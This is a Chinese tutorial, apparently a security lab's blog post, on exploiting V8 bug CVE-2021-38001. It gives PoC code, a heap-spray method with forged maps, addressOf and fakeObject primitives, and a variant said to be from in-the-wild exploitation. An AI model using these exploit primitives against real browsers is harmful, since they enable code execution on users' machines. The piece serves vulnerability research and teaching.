从 0 开始学 V8 漏洞利用之 CVE-2021-38001（六）
从 0 开始学 V8 漏洞利用之 CVE-2021-38001（六）
作者：Hcamael@知道创宇404实验室
相关阅读：
从 0 开始学 V8 漏洞利用之环境搭建（一） 从 0 开始学 V8 漏洞利用之 V8 通用利用链（二） 从 0 开始学 V8 漏洞利用之 starctf 2019 OOB（三）
从 0 开始学 V8 漏洞利用之 CVE-2020-6507（四）
从 0 开始学 V8 漏洞利用之 CVE-2021-30632（五）
CVE-2021-38001漏洞分析
第四个研究的是CVE-2021-38001，其chrome的bug编号为:1260577(https://bugs.chromium.org/p/chromium/issues/detail?id=1260577)
其相关信息还未公开，但是我们仍然能得知：
受影响的Chrome最高版本为：95.0.4638.54 受影响的V8最高版本为：9.5.172.21
搭建环境
一键编译相关环境：
$ ./build.sh 9.5.172.21该漏洞是2021年天府杯上提交的漏洞，在网上也只有一篇相关分析和PoC:
import * as module from "1.mjs";
function poc() {
class C {
m() {
return super.y;
}
}
let zz = {aa: 1, bb: 2};
// receiver vs holder type confusion
function trigger() {
// set lookup_start_object
C.prototype.__proto__ = zz;
// set holder
C.prototype.__proto__.__proto__ = module;
// "c" is receiver in ComputeHandler [ic.cc]
// "module" is holder
// "zz" is lookup_start_object
let c = new C();
c.x0 = 0x42424242 / 2;
c.x1 = 0x42424242 / 2;
c.x2 = 0x42424242 / 2;
c.x3 = 0x42424242 / 2;
c.x4 = 0x42424242 / 2;
// LoadWithReceiverIC_Miss
// => UpdateCaches (Monomorphic)
// CheckObjectType with "receiver"
let res = c.m();
}
for (let i = 0; i < 0x100; i++) {
trigger();
}
}
poc();该漏洞在原理的理解上有一些难度，不过仍然能使用套模板的方法来编写EXP，不过在套模板之前我们先来学一个新技术：V8通用堆喷技术
V8通用堆喷技术
首先来做个简单的测试：
a = Array(100);
%DebugPrint(a);
%SystemBreak();使用vmmap查看堆布局：
0x1f7a00000000 0x1f7a00003000 rw-p 3000 0 [anon_1f7a00000]
0x1f7a00003000 0x1f7a00004000 ---p 1000 0 [anon_1f7a00003]
0x1f7a00004000 0x1f7a0001a000 r-xp 16000 0 [anon_1f7a00004]
0x1f7a0001a000 0x1f7a0003f000 ---p 25000 0 [anon_1f7a0001a]
0x1f7a0003f000 0x1f7a08000000 ---p 7fc1000 0 [anon_1f7a0003f]
0x1f7a08000000 0x1f7a0802a000 r--p 2a000 0 [anon_1f7a08000]
0x1f7a0802a000 0x1f7a08040000 ---p 16000 0 [anon_1f7a0802a]
0x1f7a08040000 0x1f7a0814d000 rw-p 10d000 0 [anon_1f7a08040]
0x1f7a0814d000 0x1f7a08180000 ---p 33000 0 [anon_1f7a0814d]
0x1f7a08180000 0x1f7a08183000 rw-p 3000 0 [anon_1f7a08180]
0x1f7a08183000 0x1f7a081c0000 ---p 3d000 0 [anon_1f7a08183]
0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0 [anon_1f7a081c0]
0x1f7a08240000 0x1f7b00000000 ---p f7dc0000 0 [anon_1f7a08240]其中我们注意一下最后一块堆相关信息：
0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0 [anon_1f7a081c0]
pwndbg> x/16gx 0x1f7a081c0000
0x1f7a081c0000: 0x0000000000040000 0x0000000000000004
0x1f7a081c0010: 0x000056021f06d738 0x00001f7a081c2118
0x1f7a081c0020: 0x00001f7a08200000 0x000000000003dee8
0x1f7a081c0030: 0x0000000000000000 0x0000000000002118
0x1f7a081c0040: 0x000056021f0efae0 0x000056021f05f5a0
0x1f7a081c0050: 0x00001f7a081c0000 0x0000000000040000
0x1f7a081c0060: 0x000056021f0ed840 0x0000000000000000
0x1f7a081c0070: 0xffffffffffffffff 0x0000000000000000以下为该堆块的相关结构：
0x1f7a081c0000: size = 0x40000
0x1f7a081c0018: 堆的起始地址为0x00001f7a081c2118，在V8的堆结构中有0x2118字节用来存储堆结构相关信息
0x1f7a081c0020: 堆指针，表示该堆已经被使用到哪了
0x1f7a081c0028: 已经被使用的size, 0x3dee8 + 0x2118 = 0x40000再来看看后面的堆布局：
pwndbg> x/16gx 0x1f7a081c0000 + 0x40000
0x1f7a08200000: 0x0000000000040000 0x0000000000000004
0x1f7a08200010: 0x000056021f06d738 0x00001f7a08202118
0x1f7a08200020: 0x00001f7a08240000 0x000000000003dee8
0x1f7a08200030: 0x0000000000000000 0x0000000000002118
0x1f7a08200040: 0x000056021f0f0140 0x000056021f05f5a0
0x1f7a08200050: 0x00001f7a08200000 0x0000000000040000
0x1f7a08200060: 0x000056021f0fd3c0 0x0000000000000000
0x1f7a08200070: 0xffffffffffffffff 0x0000000000000000结构同上，可以发现，在0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0 [anon_1f7a081c0]内存区域中，由两个大小为0x40000的v8的堆组成。
如果这个时候，我申请一个0xf700大小的数组，在新版v8中，一个地址4字节，那么就是需要0xf700 * 4 + 0x2118 = 0x3fd18，再对齐一下，那么就是0x40000大小的堆，我们来测试一下：
a = Array(0xf700);
%DebugPrint(a);
%SystemBreak();得到变量a的信息为：
DebugPrint: 0x2beb08049929: [JSArray]
- map: 0x2beb08203ab9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x2beb081cc0e9 <JSArray[0]>
- elements: 0x2beb08242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS]
- length: 63232
- properties: 0x2beb0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x2beb080048f1: [String] in ReadOnlySpace: #length: 0x2beb0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x2beb08242119 <FixedArray[63232]> {
0-63231: 0x2beb0800242d <the_hole>
}发现堆布局的变化:
0x2beb081c0000 0x2beb08280000 rw-p c0000 0 [anon_2beb081c0]size从0x80000变成了0xc0000，跟我预想的一样，增加了0x40000，而变量a的elements字段地址为0x2beb081c0000 + 0x80000 + 0x2118 + 0x1 = 0x2beb08242119
在新版的V8种，因为启用的地址压缩特性，在堆中储存的地址为4字节，而根据上述堆的特性，我们能确定低2字节为0x2119
另外，堆地址总是从0x00000000开始的，在我的环境中，上述堆的高2字节总是0x081c，该数值取决于V8在前面的堆中储存了多少数据，该值不会随机变化，比如在写好的脚本中，该值基本不会发生改变。所以现在，可以确定一个有效地址：0x081c0000 + 0x2118 + 0x1 + 0x80000 + 0x40000 * n, n>=0
如果在比较复杂的环境中，可以增加Array的数量，然后定一个比较大的值，如以下一个示例：
big_array = [];
for (let i = 0x0; i < 0x50; i++) {
tmp = new Array(0x100000);
for (let j = 0x0; j < 0x100; j++) {
tmp[0x18 / 0x8 + j * 0x1000] = itof(i * 0x100 + j);
}
big_array.push(tmp);
}通过该方法堆喷，我们能确定一个地址：0x30002121，然后通过以下代码可以获取到u2d(i * 0x100 + j, 0)的值，从而算出i,j:
var u32 = new Uint32Array(f64.buffer);
getByteLength = u32.__lookupGetter__('byteLength');
byteLength = getByteLength.call(evil);该方法的作用是获取Uint32Array类型变量的bytelength属性，可以通过调试，了解一下Uint32Array类型变量的结构。
但是为什么evil(地址为0x30002121)，会被当成Uint32Array类型的变量呢，因为使用上述方法，V8不会检查变量类型吗？当然不是，上面的代码并不完整，完整的代码还需要伪造map结构，地址我们可以算出来，而map结构的会被检查的数据都是flag标志为，该值固定，所以使用gdb查看一下相关变量的map结构，就能进行伪造了，完整的堆喷代码如下：
ut_map = itof(0x300021a1);
buffer = itof(0x3000212900000000);
address = itof(0x12312345678);
ut_map1 = itof(0x1712121200000000);
ut_map2 = itof(0x3ff5500082e);
ut_length = itof(0x2);
double_map = itof(0x300022a1);
double_map1 = itof(0x1604040400000000);
double_map2 = itof(0x7ff11000834);
big_array = [];
for (let i = 0x0; i < 0x50; i++) {
tmp = new Array(0x100000);
for (let j = 0x0; j < 0x100; j++) {
tmp[0x0 / 0x8 + j * 0x1000] = ut_map;
tmp[0x8 / 0x8 + j * 0x1000] = buffer;
tmp[0x18 / 0x8 + j * 0x1000] = itof(i * 0x100 + j);
tmp[0x20 / 0x8 + j * 0x1000] = ut_length;
tmp[0x28 / 0x8 + j * 0x1000] = address;
tmp[0x30 / 0x8 + j * 0x1000] = 0x0;
tmp[0x80 / 0x8 + j * 0x1000] = ut_map1;
tmp[0x88 / 0x8 + j * 0x1000] = ut_map2;
tmp[0x100 / 0x8 + j * 0x1000] = double_map;
tmp[0x180 / 0x8 + j * 0x1000] = double_map1;
tmp[0x188 / 0x8 + j * 0x1000] = double_map2;
}
big_array['push'](tmp);
}后续利用中同样可以使用该思路伪造一个doule数组的变量或者obj数组的变量。
套模版
接下来又到套模板的时间了，暂时先不用管漏洞成因，漏洞原理啥的，我们先借助PoC，来把我们的exp写出来。
- 研究PoC
可以把PoC化简一下：
import('./2.mjs').then((m1) => {
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
class C {
m() {
return super.x;
}
}
obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = u2d(0x40404042, 0);
}
C.prototype.__proto__ = m1;
function trigger() {
let c = new C();
c.x0 = obj_prop_ut_fake;
let res = c.m();
return res;
}
for (let i = 0; i < 10; i++) {
trigger();
}
let evil = trigger();
%DebugPrint(evil);
});运行一下PoC，可以发现，最后的结果为：DebugPrint: Smi: 0x20202021 (538976289)，SMI类型的变量，值为0x20202021，在内存中的储存值为其两倍：0x20202021 * 2 = 0x40404042，也就是我们在PoC中设置的值。
- 编写堆喷代码
在PoC中加上我们的堆喷代码（同时进行堆布局）：
a = [2.1];
b_1 = {"a": 2.2};
b = [b_1];
double_array_addr = 0x082c2121+0x100;
double_array_map0 = itof(0x1604040408002119n);
double_array_map1 = itof(0x0a0007ff11000834n);
ptr_array_addr = 0x08242119;
ptr_array = new Array(0xf700);
ptr_array[0] = a;
ptr_array[1] = b;
big_array = new Array(0xf700);
big_array[0x000/8] = u2d(double_array_addr, 0);
big_array[0x008/8] = u2d(ptr_array_addr, 0x2);
big_array[0x100/8] = double_array_map0;
big_array[0x108/8] = double_array_map1;其中0x082c2121为big_array[0]的地址，0x08242119为ptr_array[0]的地址。
然后是leak变量a和变量b的map地址：
let evil = trigger();
addr = d2u(evil[0]);
a_addr = addr[0];
b_addr = addr[1];
console.log("[*] leak a addr: 0x"+hex(a_addr));
console.log("[*] leak b addr: 0x"+hex(b_addr));
big_array[0x008/8] = u2d(a_addr - 0x8, 0x2);
double_array_map = evil[0];
big_array[0x008/8] = u2d(b_addr - 0x8, 0x2);
obj_array_map = evil[0];
console.log("[*] leak double_array_map: 0x"+hex(ftoi(double_array_map)));
console.log("[*] leak obj_array_map: 0x"+hex(ftoi(obj_array_map)));- 编写addressOf函数
现在我们能来编写addressOf函数了：
function addressOf(obj_to_leak)
{
big_array[0x008/8] = u2d(b_addr - 0x8, 0x2);
b[0] = obj_to_leak;
evil[0] = double_array_map;
let obj_addr = ftoi(b[0])-1n;
evil[0] = obj_array_map;
return obj_addr;
}- 编写fakeObj函数
接下来就是编写fakeObj函数：
function fakeObject(addr_to_fake)
{
big_array[0x008/8] = u2d(a_addr - 0x8, 0x2);
a[0] = itof(addr_to_fake + 1n);
evil[0] = obj_array_map;
let faked_obj = a[0];
evil[0] = double_array_map;
return faked_obj;
}之后就是按照模版来了，修改修改偏移，就能执行shellcode了。
- 优化
该PoC还能进行一些优化，有时候没必要死抠着模板来，按照上文的所说的知识，我们能伪造map结构的数据，那自然不管是double array map还是obj array map都能，所以没必要再泄漏这些数据了。
我们的堆喷代码能进行一些优化：
double_array_addr = 0x08282121+0x100;
obj_array_addr = 0x08282121+0x150;
array_map0 = itof(0x1604040408002119n);
double_array_map1 = itof(0x0a0007ff11000834n);
obj_array_map1 = itof(0x0a0007ff09000834n);
ptr_array_addr = 0x08282121 + 0x050;
big_array = new Array(0xf700);
big_array[0x000/8] = u2d(obj_array_addr, 0);
big_array[0x008/8] = u2d(ptr_array_addr, 0x2);
big_array[0x100/8] = array_map0;
big_array[0x108/8] = double_array_map1;
big_array[0x150/8] = array_map0;
big_array[0x158/8] = obj_array_map1;其中big_array[0x100/8]是我们伪造的double array map，big_array[0x150/8]是我们伪造的object array map。
addressOf函数和fakeObj函数也进行一波优化：
function fakeObject(addr_to_fake)
{
big_array[0x058/8] = itof(addr_to_fake + 1n);
let faked_obj = evil[0];
return faked_obj;
}
function addressOf(obj_to_leak)
{
evil[0] = obj_to_leak;
big_array[0x000/8] = u2d(double_array_addr, 0);
let obj_addr = ftoi(evil[0])-1n;
big_array[0x000/8] = u2d(obj_array_addr, 0);
return obj_addr;
}- 其他PoC
该漏洞的PoC不仅有Github上公开的版本，还抓到一个在野利用的版本：
function triger_type_confusion() {
return obj;
}
obj_or_function = 1.1;
class C extends triger_type_confusion {
constructor() {
super();
obj_or_function = super.x;
}
}
obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
obj_prop_ut_fake['x' + i] = itof(0x30002121);
}
obj = {
'x1': obj_prop_ut_fake
};
C['prototype']['__proto__'] = q1;
for (let i = 0x0; i < 0xa; i++) {
new C();
}
new C();
fake_ut = obj_or_function;不过跟Github上的PoC对比，略显麻烦了一些，不过原理仍然是一样的。
漏洞原理
该漏洞的成因跟之前我复现的漏洞相比，略微复杂了一下，需要补充一些V8的设计原理相关的知识，可以参考：、。
需要了解一下JS获取属性的原理，还有Inline Caches相关的知识。
这里我只简单说说该漏洞的问题：
在最开始执行10次new C()，因为Lazy feedback allocation，所以并没有对属性访问进行优化，这个时候的super就是m1，但是在执行完10次之后，开始进行Inline Caches优化，因为内联缓存代码的bug，super的值变成了变量c: let c = new C();，之后的流程如下：
1.super.x的取值顺序为：JSModuleNamespace -> module(+0xC) -> exports (+0x4) -> y(+0x28) -> value(+0x4)
2.因为Lazy feedback allocation，trigger函数在执行10次之后，触发了Inline Caches，为了加速代码执行速度，把super.x取值的顺序直接转换成汇编代码。
3.漏洞代码，在翻译汇编代码的时候，把super翻译成了变量c。
4.c+0xC位置储存的是obj_prop_ut_fake
5.obj_prop_ut_fake+0x4储存的是该变量的properties（属性），也就是obj_prop_ut_fake.xn
6.obj_prop_ut_fake.properties + 0x28获取到的是HeapNumber结构地址。
7.HeapNumber+0x4地址的值为u2d(0x40404042, 0)
参考
1.https://bugs.chromium.org/p/chromium/issues/detail?id=1260577
2.https://github.com/vngkv123/articles/blob/main/CVE-2021-38001.md
3.https://v8.dev/blog/v8-lite
4.https://mathiasbynens.be/notes/shapes-ics#ics
往 期 热 门
从 0 开始学 V8 漏洞利用之 CVE-2021-30632（五）